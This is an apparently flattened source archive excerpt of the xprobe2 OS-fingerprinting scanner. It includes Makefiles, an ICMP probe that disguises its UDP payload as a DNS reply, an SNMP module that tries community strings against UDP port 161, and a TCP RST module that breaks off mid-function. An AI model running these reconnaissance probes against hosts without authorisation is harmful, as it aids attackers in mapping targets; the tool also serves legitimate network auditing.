LDFLAGS=@LDFLAGS@ -L../../xplib SOLDFLAGS=@SOLDFLAGS@ LIBS=@LIBS@ -lxplib DYNFLAGS=@DYNFLAGS@ XPLIB=../../xplib/libxplib.a INCLUDES= CXXSOURCES=icmp_port_unreach.cc build_DNS_reply.cc getrandom.cc parse_keyword.cc OBJS=${CXXSOURCES:.cc=.o} ${CSOURCES:.c=.o} all: ttl_calc ttl_calc: $(OBJS) @echo "icmp_port_unreach done" .c.o: $(INCLUDES) $(CC) -c $(CFLAGS) $< .cc.o: $(INCLUDES) $(CXX) -c ${CFLAGS} $< clean: rm -f core *.o *.so distclean: clean rm -f Makefile xprobe2-0.3/src/xpmodules/os_probe/icmp_port_unreach/parse_keyword.cc000755 001751 000000 00000003531 10271643771 026505 0ustar00mederwheel000000 000000 #include #include "util.h" #include "icmp_port_unreach.h" #include "parse_keyword.h" #include "interface.h" extern Interface *ui; int icmp_port_unreach::parse_keyword(int os_id, const char *keyword, const char *value){ Fingerprint newfingerprint; int iii=0; xprobe_debug(XPROBE_DEBUG_SIGNATURES, "[%s] Parsing for %i : %s = %s\n", get_name(), os_id, keyword, value); for (iii=0; keyarr[iii] != NULL; iii++) { if ((strncmp (keyarr[iii], keyword, strlen (keyarr[iii]))) == 0) { if ( (iter = os2finger.find (os_id)) == os2finger.end() ) { os2finger.insert (pair(os_id, newfingerprint)); /* so that we could start adding things righ away */ iter = os2finger.find (os_id); } switch(iii) { case ICMP_UNREACH_TTL: if ( value[0] == '<' || value[0] == '>' ) value += 1; iter->second.put_p_unreach_ttl(value); break; case ICMP_UNREACH_ECHOED_SIZE: iter->second.put_echoed_size(value); break; case ICMP_UNREACH_ECHOED_UPSUM: iter->second.put_echoed_udpsum(value); break; case ICMP_UNREACH_ECHOED_IPSUM: iter->second.put_echoed_ipsum(value); break; case ICMP_UNREACH_ECHOED_IPID: iter->second.put_echoed_ipid(value); break; case ICMP_UNREACH_ECHOED_TOTLEN: iter->second.put_echoed_totlen(value); break; case ICMP_UNREACH_ECHOED_3BIT: iter->second.put_echoed_3bit(value); break; case ICMP_UNREACH_PRECEDENCE: iter->second.put_icmp_prec_bits(value); break; case ICMP_UNREACH_DF: iter->second.put_icmp_df(value); break; case ICMP_UNREACH_IPID: iter->second.put_icmp_ipid(value); break; case ICMP_UNREACH_REPLY: iter->second.put_reply(value); break; } return OK; } } return OK; } xprobe2-0.3/src/xpmodules/os_probe/icmp_port_unreach/parse_keyword.h000755 001751 000000 00000001365 10271643771 026352 0ustar00mederwheel000000 000000 #ifndef PARSE_KEYWORD_H #define PARSE_KEYWORD_H char *keyarr[] = { "icmp_unreach_reply_ttl", "icmp_unreach_echoed_dtsize", "icmp_unreach_echoed_udp_cksum", "icmp_unreach_echoed_ip_cksum", "icmp_unreach_echoed_ip_id", "icmp_unreach_echoed_total_len", "icmp_unreach_echoed_3bit_flags", "icmp_unreach_precedence_bits", "icmp_unreach_df_bit", "icmp_unreach_ip_id", "icmp_unreach_reply", NULL}; #define ICMP_UNREACH_TTL 0 #define ICMP_UNREACH_ECHOED_SIZE 1 #define ICMP_UNREACH_ECHOED_UPSUM 2 #define ICMP_UNREACH_ECHOED_IPSUM 3 #define ICMP_UNREACH_ECHOED_IPID 4 #define ICMP_UNREACH_ECHOED_TOTLEN 5 #define ICMP_UNREACH_ECHOED_3BIT 6 #define ICMP_UNREACH_PRECEDENCE 7 #define ICMP_UNREACH_DF 8 #define ICMP_UNREACH_IPID 9 #define ICMP_UNREACH_REPLY 10 #endif xprobe2-0.3/src/xpmodules/os_probe/icmp_port_unreach/build_DNS_reply.cc000755 001751 000000 00000003611 10271643771 026644 0ustar00mederwheel000000 000000 #include "icmp_port_unreach.h" #include "util.h" /* build_DNS_reply builds a payload for the UDP packet * so that it apears to be a DNS reply for www.securityfocus.com */ extern Interface *ui; void icmp_port_unreach::build_DNS_reply (u_char *packet) { struct DNSHEADER *dnsh; struct hostent *hostip; struct in_addr secfocip; u_char *localpacket = packet; if ((hostip = gethostbyname(DNSMASQUERADE)) == NULL) { ui->error("[-] icmp_port_unreach::build_DNS_reply(): gethostbyname() failed! Using static ip for www.securityfocus.com in UDP probe\n"); inet_aton("205.206.231.10", &secfocip); } else memcpy (&secfocip, hostip->h_addr, hostip->h_length); #if BYTE_ORDER == LITTLE_ENDIAN u_short one = htons(1); #else u_short one = 1; #endif dnsh = (struct DNSHEADER *) localpacket; dnsh->id = getrandom(U_SHORTMAX); dnsh->qr = 1; dnsh->opcode = 0; dnsh->aa = 0; dnsh->tc = 0; dnsh->rd = 1; dnsh->ra = 1; dnsh->cd = 1; dnsh->ad = 1; dnsh->rcode = 0; dnsh->qdcount = htons(1); dnsh->ancount = htons(1); dnsh->nscount = 0; dnsh->arcount = 0; localpacket+=12; memcpy (localpacket, DNSREPLYSTRING, DNSREPLYLEN); localpacket+=DNSREPLYLEN; memcpy(localpacket, &one, 2); localpacket+=2; memcpy(localpacket, &one, 2); localpacket+=2; memcpy (localpacket, DNSREPLYSTRING, DNSREPLYLEN); localpacket+=DNSREPLYLEN; memcpy(localpacket, &one, 2); localpacket+=2; memcpy(localpacket, &one, 2); localpacket+=2; one=0xffff; memcpy(localpacket, &one, 4); localpacket+=4; one=4; memcpy(localpacket, &one, 2); localpacket+=2; // inet_aton("66.38.151.10",&dnsh->replydata); dnsh->replydata = secfocip; } /* END OF BUILD_DNS_REPLY */ xprobe2-0.3/src/xpmodules/os_probe/icmp_port_unreach/util.h000755 001751 000000 00000010731 10271643771 024446 0ustar00mederwheel000000 000000 /* $Id: util.h,v 1.8 2003/08/05 03:35:12 mederchik Exp $ */ /* ** Copyright (C) 2001, 2002 Meder Kydyraliev ** ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef ICMPUTIL_H #define ICMPUTIL_H #include #define DNSREPLYSIZE sizeof(struct ip) + sizeof(struct udphdr)+sizeof(struct DNSHEADER) #define TCPPACKETSIZE sizeof(struct ip) + sizeof (struct tcphdr) #define SA struct sockaddr #define U_CHARMAX 254 #define U_SHORTMAX 65535 #define U_INTMAX 0xffffffffU #define U_DOUBLEMAX 4294967296 #define TRUE 1 #define FALSE 0 #define DEFPORT 80 #define TCPPACKETFLAGS TH_SYN #define DNSREPLYSTRING "\003www\015securityfocus\003com" #define DNSMASQUERADE "www.securityfocus.com" #define DNSREPLYLEN sizeof(DNSREPLYSTRING) struct DNSHEADER{ unsigned id :16; /* query identification number */ #if BYTE_ORDER == BIG_ENDIAN /* fields in third byte */ unsigned qr: 1; /* response flag */ unsigned opcode: 4; /* purpose of message */ unsigned aa: 1; /* authoritive answer */ unsigned tc: 1; /* truncated message */ unsigned rd: 1; /* recursion desired */ /* fields in fourth byte */ unsigned ra: 1; /* recursion available */ unsigned unused :1; /* unused bits (MBZ as of 4.9.3a3) */ unsigned ad: 1; /* authentic data from named */ unsigned cd: 1; /* checking disabled by resolver */ unsigned rcode :4; /* response code */ #endif #if BYTE_ORDER == LITTLE_ENDIAN || BYTE_ORDER == PDP_ENDIAN /* fields in third byte */ unsigned rd :1; /* recursion desired */ unsigned tc :1; /* truncated message */ unsigned aa :1; /* authoritive answer */ unsigned opcode :4; /* purpose of message */ unsigned qr :1; /* response flag */ /* fields in fourth byte */ unsigned rcode :4; /* response code */ unsigned cd: 1; /* checking disabled by resolver */ unsigned ad: 1; /* authentic data from named */ unsigned unused :1; /* unused bits (MBZ as of 4.9.3a3) */ unsigned ra :1; /* recursion available */ #endif /* remaining bytes */ unsigned qdcount :16; /* number of question entries */ unsigned ancount :16; /* number of answer entries */ unsigned nscount :16; /* number of authority entries */ unsigned arcount :16; /* number of resource entries */ u_char domainname[DNSREPLYLEN-1]; /* string www.hotmail.com */ u_short querytype; u_short queryclass; u_char replyname[DNSREPLYLEN-1]; /* string www.hotmail.com */ u_short type; u_short classs; u_long ttl; u_short dl; struct in_addr replydata; }; #define ICMP_UNREACH 3 /* dest unreachable, codes: */ #define ICMP_UNREACH_HOST 1 /* bad host */ #define ICMP_UNREACH_PROTOCOL 2 /* bad protocol */ #define ICMP_UNREACH_PORT 3 /* bad port */ #define ICMP_TIMXCEED 11 /* time exceeded, code: */ #define ICMP_TIMXCEED_INTRANS 0 /* ttl==0 in transit */ #define ICMP_TIMXCEED_REASS 1 /* ttl==0 in reass */ struct IcmpUnreachHdr { u_char type; u_char code; u_short checksum; u_int zero; }; #endif /* TTL_PRECALC */ xprobe2-0.3/src/xpmodules/os_probe/snmp000755 001751 000000 00000000000 10271644025 020501 5ustar00mederwheel000000 000000 xprobe2-0.3/src/xpmodules/os_probe/snmp/snmp_mod.cc000644 001751 000000 00000015106 10271643771 022715 0ustar00mederwheel000000 000000 /* * ** * ** Copyright (C) 2005 Meder Kydyraliev * ** Copyright (C) 2001-2005 Fyodor Yarochkin , * ** Ofir Arkin * ** * ** This program is free software; you can redistribute it and/or modify * ** it under the terms of the GNU General Public License as published by * ** the Free Software Foundation; either version 2 of the License, or * ** (at your option) any later version. * ** * ** * ** This program is distributed in the hope that it will be useful, * ** but WITHOUT ANY WARRANTY; without even the implied warranty of * ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * ** GNU General Public License for more details. * ** * ** You should have received a copy of the GNU General Public License * ** along with this program; if not, write to the Free Software * ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * */ #include "xprobe.h" #define _XPROBE_MODULE #include "xplib.h" #include "xprobe_module.h" #include "xprobe_module_hdlr.h" #include "target.h" #include "interface.h" #include "cmd_opts.h" #include "config_set.h" #include "snmp_mod.h" extern Interface *ui; extern Cmd_Opts *copts; extern Config_Set *cfg; int snmp_mod_init(Xprobe_Module_Hdlr *pt, char *nm) { SNMP_Mod *snmp= new SNMP_Mod; snmp->set_name(nm); xprobe_mdebug(XPROBE_DEBUG_MODULES, "Initializing the SNMP module\n"); pt->register_module(snmp); pt->add_keyword(snmp->get_id(), "snmp_sysdescr"); return OK; } SNMP_Mod::SNMP_Mod(void): Xprobe_Module(XPROBE_MODULE_OSTEST, "fingerprint:snmp", "SNMPv2c fingerprinting module") { } SNMP_Mod::~SNMP_Mod(void) { } int SNMP_Mod::parse_keyword(int os_id, const char *kwd, const char *val) { string descr(val); xprobe_debug(XPROBE_DEBUG_SIGNATURES, "Parsing for %i : %s = %s\n", os_id, kwd, val); sysdescrs.insert(pair(os_id, descr)); return OK; } int SNMP_Mod::init(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module initialized\n", get_name()); return OK; } int SNMP_Mod::exec(Target *tg, OS_Matrix *os) { char snmp_request_start[]= "\x30" "\x26" // length of the data that followd "\x02\x01\x01" // version 2c "\x04" // string "\x03"; // length of community string // community string here char snmp_request_end[]= "\xa0\x1c" // PDU GET "\x02\x04\x22\xa2\x3d\x23" // request ID "\x02\x01\x00" // Err status (NO ERR) "\x02\x01\x00" // Err index (NO ERR) "\x30\x0e\x30\x0c\x06\x08\x2b\x06\x01\x02\x01\x01\x01\x00" // SNMPv2 MIBD sysDescr.0 "\x05\x00"; // value NULL int sock, retval; unsigned int i, packlen; unsigned char *packet, buf[2048]; unsigned long request_id; struct sockaddr_in to; vector tokens; vector snmpstrings; vector snmpints; map::iterator iter; SNMP snmp; if (!tg->port_is_open(IPPROTO_UDP, 161)) { ui->error("[-] %s: need UDP port 161 open\n", get_name()); return FAIL; } bzero(&to, sizeof(to)); to.sin_family = AF_INET; to.sin_port = htons(161); to.sin_addr = tg->get_addr(); if ((sock = xp_lib::OpenUDPSocket(&to, NULL)) == FAIL) { ui->error("[-] %s: OpenUDPSocket() failed (%s)!\n", get_name(), strerror(errno)); return FAIL; } /* * get a vector of community strings to try */ xp_lib::tokenize(cfg->get_comstrings().c_str(), ',', &tokens); for (i=0; i < tokens.size(); i++) { xprobe_debug(XPROBE_DEBUG_MODULES, "SNMP trying community string: %s\n", tokens[i].c_str()); request_id = rand(); /* * set request ID */ snmp_request_end[4] = (unsigned char)(request_id & 0xFF); snmp_request_end[5] = (unsigned char)((request_id >> 8) & 0xFF); snmp_request_end[6] = (unsigned char)((request_id >> 16) & 0xFF); snmp_request_end[7] = (unsigned char)((request_id >> 24) & 0xFF); packlen = tokens[i].size() + sizeof(snmp_request_start)-1 + sizeof(snmp_request_end)-1; packet = new unsigned char[packlen]; snmp_request_start[6] = tokens[i].size(); // comunity string length snmp_request_start[1] = packlen - 2; // length of the ASN sequence /* * construct the SNMP request (ugly) */ memcpy(packet, snmp_request_start, sizeof(snmp_request_start)-1); memcpy(packet+sizeof(snmp_request_start)-1, tokens[i].c_str(), tokens[i].size()); memcpy(packet+sizeof(snmp_request_start)-1+tokens[i].size(), snmp_request_end, sizeof(snmp_request_end)-1); if ((retval = send(sock, packet, packlen, 0)) < 0) { if (errno == ECONNREFUSED) tg->add_port(IPPROTO_UDP, 161, XPROBE_TARGETP_CLOSED); ui->error("[-] %s: send() failed (%s)\n", get_name(), strerror(errno)); return FAIL; } delete []packet; retval = xp_lib::RecvTimeout(sock, buf, sizeof(buf), 1); if (retval == 0) { // timeout continue; } else if (retval == FAIL) { ui->error("[-] %s: RecvTimeout() failed!\n", get_name()); return FAIL; } xprobe_debug(XPROBE_DEBUG_MODULES, "%s got %d bytes\n", get_name(), retval); if (snmp.parse(buf, retval) == FAIL) { ui->error("[-] %s: SNMP::parse() failed!\n", get_name()); return FAIL; } snmp.get_strings(snmpstrings); snmp.get_integers(snmpints); if (snmpstrings.size() < SNMP_MIN_STRINGS) { ui->error("[-] %s: Invalid number of strings %d (min is %d)\n", get_name(), snmpstrings.size(), SNMP_MIN_STRINGS); return FAIL; } if (snmpints.size() < SNMP_MIN_INTS) { ui->error("[-] %s: Invalid number of integers %d (min is %d)\n", get_name(), snmpints.size(), SNMP_MIN_INTS); return FAIL; } if (snmpints[SNMP_REQUESTID_IX] != htonl(request_id)) { ui->error("[-] %s: Got invalid request id from remote target 0x%lx (expected 0x%lx)\n", get_name(), snmpints[SNMP_REQUESTID_IX], htonl(request_id)); return FAIL; } ui->msg("[+] SNMP [Community: %s] [sysDescr.0: %s]\n", snmpstrings[SNMP_COMMUNITY_IX].c_str(), snmpstrings[SNMP_SYSDESCR_IX].c_str()); /* * perform fingerprint matching */ for (iter = sysdescrs.begin(); iter != sysdescrs.end(); iter++) { string::size_type mypos = snmpstrings[SNMP_SYSDESCR_IX].find(iter->second); if (mypos == string::npos) { os->add_result(get_id(), iter->first, XPROBE_MATCH_NO); } else { os->add_result(get_id(), iter->first, XPROBE_MATCH_YES); } } break; } close(sock); return OK; } int SNMP_Mod::fini(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module has been deinitilized\n", get_name()); return OK; } xprobe2-0.3/src/xpmodules/os_probe/snmp/snmp_mod.h000644 001751 000000 00000003012 10271643771 022550 0ustar00mederwheel000000 000000 /* * ** * ** Copyright (C) 2005 Meder Kydyraliev * ** Copyright (C) 2001-2005 Fyodor Yarochkin , * ** Ofir Arkin * ** * ** This program is free software; you can redistribute it and/or modify * ** it under the terms of the GNU General Public License as published by * ** the Free Software Foundation; either version 2 of the License, or * ** (at your option) any later version. * ** * ** * ** This program is distributed in the hope that it will be useful, * ** but WITHOUT ANY WARRANTY; without even the implied warranty of * ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * ** GNU General Public License for more details. * ** * ** You should have received a copy of the GNU General Public License * ** along with this program; if not, write to the Free Software * ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * */ #ifndef SNMP_MOD_H #define SNMP_MOD_H #include "xprobe.h" #include "xprobe_module.h" #include "xprobe_module_param.h" #include "snmp.h" #define SNMP_COMMUNITY_IX 0 #define SNMP_SYSDESCR_IX 1 #define SNMP_REQUESTID_IX 1 #define SNMP_MIN_STRINGS 2 #define SNMP_MIN_INTS 4 class SNMP_Mod: public Xprobe_Module { private: map sysdescrs; public: SNMP_Mod(void); ~SNMP_Mod(void); int init(void); int parse_keyword(int, const char *, const char *); int exec(Target *, OS_Matrix *); int fini(void); }; #endif /* SNMP_MOD_H */ xprobe2-0.3/src/xpmodules/os_probe/snmp/snmp.cc000644 001751 000000 00000010404 10271643771 022052 0ustar00mederwheel000000 000000 /* * ** * ** Copyright (C) 2005 Meder Kydyraliev * ** Copyright (C) 2001-2005 Fyodor Yarochkin , * ** Ofir Arkin * ** * ** This program is free software; you can redistribute it and/or modify * ** it under the terms of the GNU General Public License as published by * ** the Free Software Foundation; either version 2 of the License, or * ** (at your option) any later version. * ** * ** * ** This program is distributed in the hope that it will be useful, * ** but WITHOUT ANY WARRANTY; without even the implied warranty of * ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * ** GNU General Public License for more details. * ** * ** You should have received a copy of the GNU General Public License * ** along with this program; if not, write to the Free Software * ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * */ #include "snmp.h" #include "interface.h" extern Interface *ui; int SNMP::parse(unsigned char *buf, unsigned int buflen) { unsigned char *ptr=buf; unsigned long len, intval=0; string str; while (buflen > 0) { buflen--; switch(*ptr) { case 0x30: // SEQ ptr = get_len(&len, ptr+1, &buflen); if (len_is_invalid(buflen, len)) return FAIL; break; case 0x02: //integer intval = 0; ptr = get_len(&len, ptr+1, &buflen); if (len_is_invalid(buflen, len)) return FAIL; buflen -= len; while (len-- > 0) { intval = (intval << 8) | *ptr++; } insert_int(intval); //ptr += len; break; case 0x04: // string ptr = get_len(&len, ptr+1, &buflen); if (len_is_invalid(buflen, len)) return FAIL; buflen -= len; str.erase(); str.append((const char *)ptr, len); insert_string(str); ptr += len; break; case 0x06: // OID ptr = get_len(&len, ptr+1, &buflen); if (len_is_invalid(buflen, len)) return FAIL; buflen -= len; ptr += len; break; case 0xa2: // GETResponse PDU ptr = get_len(&len, ptr+1, &buflen); if (len_is_invalid(buflen, len)) return FAIL; break; default: ui->error("SNMP::parse(): Unknown SNMP ASN.1 type %d\n", *ptr); return FAIL; } } return OK; } void SNMP::insert_string(string _val) { SNMPval val(_val); insert_value(ASN_STRING, val); } void SNMP::insert_int(unsigned long _val) { SNMPval val(_val); insert_value(ASN_INTEGER, val); } void SNMP::insert_value(unsigned char type, SNMPval val) { map >::iterator iter = SNMPvalues.find(type); vector vec; if (iter == SNMPvalues.end()) { vec.push_back(val); SNMPvalues.insert(pair >(type, vec)); } else { iter->second.push_back(val); } } void SNMP::get_strings(vector &retval) { map >::iterator iter = SNMPvalues.find(ASN_STRING); if (iter == SNMPvalues.end()) return; for (unsigned int i=0; i < iter->second.size(); i++) { retval.push_back(iter->second[i].str); } } void SNMP::get_integers(vector &retval) { map >::iterator iter = SNMPvalues.find(ASN_INTEGER); if (iter == SNMPvalues.end()) return; for (unsigned int i=0; i < iter->second.size(); i++) { retval.push_back(iter->second[i].integer); } } unsigned char *SNMP::get_len(unsigned long *len, unsigned char *pack, unsigned int *buflen) { unsigned char length= *pack; if (*buflen < 2) { exit(1); return NULL; } if (length & 0x80) { length &= ~0x80; if (length == 0 || length > sizeof(long)) { return NULL; } pack++; (*buflen)--; *len=0; while (*buflen > 0 && length--) { *len <<= 8; *len |= *pack++; (*buflen)--; } if ((long) *len < 0) { return NULL; } return pack; } else { (*buflen)--; *len = (unsigned long) length; return pack+1; } } bool SNMP::len_is_invalid(unsigned int buflen, unsigned long vallen) { if (vallen > buflen) { ui->error("SNMP::len_is_invalid(): Val length %lu is greater than buf %d\n", vallen, buflen); return true; } return false; } xprobe2-0.3/src/xpmodules/os_probe/snmp/Makefile.in000755 001751 000000 00000003051 10271643771 022636 0ustar00mederwheel000000 000000 # # Copyright (C) 2005 Meder Kydyraliev # Copyright (C) 2001 Fyodor Yarochkin # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. CC=@CC@ CXX=@CXX@ INSTALL=@INSTALL@ INSTALL_PROGRAM=@INSTALL_PROGRAM@ INSTALL_DATA=@INSTALL_DATA@ RANLIB=@RANLIB@ DESTDIR= prefix=@prefix@ exec_prefix=@exec_prefix@ bindir=@bindir@ mandir=@mandir@ PACKAGE=@PACKAGE@ VERSION=@VERSION@ CPPFLAGS=@CPPFLAGS@ CFLAGS=@CFLAGS@ @CPPFLAGS@ -I. -I.. -I../../../ -I ../../../xplib -I ../../../../libs-external/USI++ LDFLAGS=@LDFLAGS@ -L../../xplib SOLDFLAGS=@SOLDFLAGS@ LIBS=@LIBS@ -lxplib DYNFLAGS=@DYNFLAGS@ XPLIB=../../xplib/libxplib.a INCLUDES= CXXSOURCES=snmp.cc snmp_mod.cc OBJS=${CXXSOURCES:.cc=.o} ${CSOURCES:.c=.o} all: smb smb: $(OBJS) @echo "snmp done" .c.o: $(INCLUDES) $(CC) -c $(CFLAGS) $< .cc.o: $(INCLUDES) $(CXX) -c ${CFLAGS} $< clean: rm -f core *.o *.so distclean: clean rm -f Makefile xprobe2-0.3/src/xpmodules/os_probe/snmp/snmp.h000644 001751 000000 00000003452 10271643771 021721 0ustar00mederwheel000000 000000 /* * ** * ** Copyright (C) 2005 Meder Kydyraliev * ** Copyright (C) 2001-2005 Fyodor Yarochkin , * ** Ofir Arkin * ** * ** This program is free software; you can redistribute it and/or modify * ** it under the terms of the GNU General Public License as published by * ** the Free Software Foundation; either version 2 of the License, or * ** (at your option) any later version. * ** * ** * ** This program is distributed in the hope that it will be useful, * ** but WITHOUT ANY WARRANTY; without even the implied warranty of * ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * ** GNU General Public License for more details. * ** * ** You should have received a copy of the GNU General Public License * ** along with this program; if not, write to the Free Software * ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * */ #ifndef XPROBE_SNMP_H #define XPROBE_SNMP_H #include "snmp_mod.h" #define ASN_STRING 0x04 #define ASN_INTEGER 0x02 #define ASN_SEQ 0x30 #define ASN_OID 0x06 #define ASN_GETPDU 0xa2 class SNMP { private: class SNMPval { public: SNMPval(string _s) { str = _s; } SNMPval(unsigned long _i) { integer = _i; } string str; unsigned long integer; }; map > SNMPvalues; unsigned char *get_len(unsigned long *, unsigned char *, unsigned int *); bool len_is_invalid(unsigned int, unsigned long); void insert_string(string); void insert_int(unsigned long); void insert_value(unsigned char, SNMPval); public: int parse(unsigned char *, unsigned int); void get_strings(vector &); void get_integers(vector &); }; #endif /* XPROBE_SNMP_H */ xprobe2-0.3/src/xpmodules/os_probe/tcp_rst000755 001751 000000 00000000000 10271644025 021202 5ustar00mederwheel000000 000000 xprobe2-0.3/src/xpmodules/os_probe/tcp_rst/Makefile.in000755 001751 000000 00000003011 10271643771 023333 0ustar00mederwheel000000 000000 # $Id: Makefile.in,v 1.1 2005/02/08 19:39:05 mederchik Exp $ # # Copyright (C) 2001 Fyodor Yarochkin , # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. CC=@CC@ INSTALL=@INSTALL@ INSTALL_PROGRAM=@INSTALL_PROGRAM@ INSTALL_DATA=@INSTALL_DATA@ DESTDIR= prefix=@prefix@ exec_prefix=@exec_prefix@ bindir=@bindir@ mandir=@mandir@ PACKAGE=@PACKAGE@ VERSION=@VERSION@ CPPFLAGS=@CPPFLAGS@ CFLAGS=@CFLAGS@ @CPPFLAGS@ -I../ -I../../ -I ../../../ -I../../../xplib -I ../../../../libs-external/USI++ LDFLAGS=@LDFLAGS@ -L../../xplib SOLDFLAGS=@SOLDFLAGS@ LIBS=@LIBS@ -lxplib DYNFLAGS=@DYNFLAGS@ XPLIB=../../xplib/libxplib.a INCLUDES= RANLIB=@RANLIB@ all: tcp_rst.o tcp_rst.o: tcp_rst.cc ${CXX} ${CFLAGS} -c tcp_rst.cc .c.o: $(INCLUDES) $(CC) -c $(CFLAGS) $< .cc.o: $(INCLUDES) $(CXX) -c $(CFLAGS) $< clean: rm -f core *.o *.so distclean: clean rm -f Makefile xprobe2-0.3/src/xpmodules/os_probe/tcp_rst/tcp_rst.cc000644 001751 000000 00000020560 10271643771 023260 0ustar00mederwheel000000 000000 /* * ** * ** Copyright (C) 2001-2005 Fyodor Yarochkin , * ** Ofir Arkin * ** Meder Kydyraliev * ** * ** This program is free software; you can redistribute it and/or modify * ** it under the terms of the GNU General Public License as published by * ** the Free Software Foundation; either version 2 of the License, or * ** (at your option) any later version. * ** * ** * ** This program is distributed in the hope that it will be useful, * ** but WITHOUT ANY WARRANTY; without even the implied warranty of * ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * ** GNU General Public License for more details. * ** * ** You should have received a copy of the GNU General Public License * ** along with this program; if not, write to the Free Software * ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * */ #include "xprobe.h" #define _XPROBE_MODULE #include "xplib.h" #include "xprobe_module.h" #include "xprobe_module_hdlr.h" #include "target.h" #include "interface.h" #include "cmd_opts.h" #include "tcp_rst.h" extern Interface *ui; extern Cmd_Opts *copts; int tcp_rst_mod_init(Xprobe_Module_Hdlr *pt, char *nm) { TCP_Rst_Mod *rst = new TCP_Rst_Mod; rst->set_name(nm); xprobe_mdebug(XPROBE_DEBUG_MODULES, "Initializing the TCP RST module\n"); pt->register_module(rst); pt->add_keyword(rst->get_id(), "tcp_rst_df"); pt->add_keyword(rst->get_id(), "tcp_rst_ip_id_1"); pt->add_keyword(rst->get_id(), "tcp_rst_ip_id_2"); pt->add_keyword(rst->get_id(), "tcp_rst_ip_id_strategy"); pt->add_keyword(rst->get_id(), "tcp_rst_ttl"); pt->add_keyword(rst->get_id(), "tcp_rst_reply"); return OK; } TCP_Rst_Mod::TCP_Rst_Mod(void): Xprobe_Module(XPROBE_MODULE_OSTEST, "fingerprint:tcp_rst", "TCP RST fingerprinting module") { TCP_Rst_Df_Bit_Check *df_check = new TCP_Rst_Df_Bit_Check; TCP_Rst_Ip_Id_Check *id_check_one = new TCP_Rst_Ip_Id_Check; TCP_Rst_Ip_Id_Check *id_check_two = new TCP_Rst_Ip_Id_Check; TCP_Rst_Ttl_Check *ttl_check = new TCP_Rst_Ttl_Check; TCP_Rst_Ip_Id_Strategy *strat_check = new TCP_Rst_Ip_Id_Strategy; TCP_Rst_Reply_Check *reply_check = new TCP_Rst_Reply_Check; kwd_chk.insert(pair("tcp_rst_df", df_check)); kwd_chk.insert(pair("tcp_rst_ip_id_1", id_check_one)); kwd_chk.insert(pair("tcp_rst_ip_id_2", id_check_two)); kwd_chk.insert(pair("tcp_rst_ip_id_strategy", strat_check)); kwd_chk.insert(pair("tcp_rst_ttl", ttl_check)); kwd_chk.insert(pair("tcp_rst_reply", reply_check)); } TCP_Rst_Mod::~TCP_Rst_Mod(void) { map::iterator m_i; for (m_i = kwd_chk.begin(); m_i != kwd_chk.end(); m_i++) { delete m_i->second; } } int TCP_Rst_Mod::parse_keyword(int os_id, const char *kwd, const char *val) { map::iterator m_i; if ((m_i = kwd_chk.find(kwd)) == kwd_chk.end()) { ui->error("%s: unknown keyword %s", get_name(), kwd); return FAIL; } return m_i->second->parse_param(os_id, val); } int TCP_Rst_Mod::init(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module initialized\n", get_name()); return OK; } int TCP_Rst_Mod::exec(Target *tg, OS_Matrix *os) { int done=0, ret; bool second_packet = false; char buf[1024]; struct in_addr local = tg->get_interface_addr(), remote = tg->get_addr(); struct timeval tv; map::iterator m_i; TCP request(inet_ntoa(remote)); TCP sn(inet_ntoa(local)), sample1(inet_ntoa(local)); if (tg->get_port(IPPROTO_TCP, XPROBE_TARGETP_CLOSED) == -1) { // ui->msg("[-] %s Module execution aborted (no closed TCP port known)\n", get_name()); xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Sending probe to port 65535\n", get_name()); //return FAIL; } srand(time(NULL)); request.set_src(local.s_addr); request.set_dst(remote.s_addr); request.set_srcport(rand()); request.set_dstport(tg->get_port(IPPROTO_TCP, XPROBE_TARGETP_CLOSED)); request.set_ttl(64); request.set_win(6840); request.set_flags(TH_SYN); request.set_tos(0x10); request.set_fragoff(IP_DF); request.set_seq(rand()); request.set_ack(0); request.set_id(rand()); tv = tg->get_rtt(); sn.init_device(tg->get_interface(), 0, 1500); sn.timeout(tv); request.sendpack(""); while (!done) { ret = sn.sniffpack(buf, sizeof(buf)); if (!sn.timeout()) { if (sn.get_src() == remote.s_addr && request.get_dstport() == sn.get_srcport() && request.get_srcport() == sn.get_dstport()) { done = 1; } } 